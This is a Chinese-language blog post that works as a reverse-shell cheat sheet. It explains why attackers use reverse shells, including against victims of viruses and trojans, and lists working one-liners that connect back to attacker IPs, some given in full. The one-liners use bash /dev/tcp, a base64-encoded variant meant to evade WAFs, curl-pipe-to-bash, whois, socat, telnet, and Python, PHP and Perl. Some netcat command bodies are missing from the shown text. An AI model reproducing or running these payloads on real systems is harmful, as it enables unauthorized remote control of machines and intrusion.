反弹shell
为什么要反弹shell
1、目标机因防火墙受限,目标机器只能发送请求,不能接收请求
2、目标机端口被占用
3、目标机位于局域网,或IP会动态变化,攻击机无法直接连接
4、对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的
反弹shell的方法
Windows反弹shell
工具:netcat/nc
1、NC正向shell
控制端主动连接被控端
1 | 被控端: |
2、NC反向shell
被控端主动连接控制端
1 | 控制端: |
Linux反弹shell
1、NC正向shell
1 | 被控端: |
2、NC反向shell(做题一般是用反向)
1 | 控制端: |
3、bash反弹
1 | bash -i >& /dev/tcp/192.168.2.102/7777 0>&1 |
有 waf 时可以使用 base64 编码执行 bash 反弹 shell
1 | bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' |
4、curl反弹
这里操作借助了Linux的管道,Kali开启 apache 服务,把 bash 命令写入 html 文件,只要文本包含 bash 一句话即可
1 | bash -i >& /dev/tcp/192.168.2.103/6666 0>&1 |
然后在目标机上执行如下命令
1 | curl 192.168.2.103/bash.html|bash |
5、whois反弹
1 | whois -h 192.168.2.102 -p 4444 `pwd` |
6、socat反弹
1 | socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane |
7、telnet反弹
方法一:
1 | mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a |
方法二:
攻击机开两个监听
1 | nc -lvvp 2333nc -lvvp 4000 |
目标机主动连接攻击机:
1 | telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000 |
8、各种脚本反弹
本地开启监听:
1 | nc -lvvp 2333 |
python 脚本
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
php 脚本
1 | php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");' |
Perl 脚本
1 | perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
在实际的解题过程中,使用比较多的是nc反弹和bash反弹,使用条件是有一个公网IP来访问到本机。公网IP获取的方法,可以租服务器或者是做内网穿透。
工具
1、花生壳内网穿透 花生壳管理 - 内网穿透 (oray.com)
2、ngrok内网穿透 Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器
参考文章
内网穿透–五分钟完成搭建(从零开始)_本可奈何的博客-CSDN博客
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 zishuQ's blog!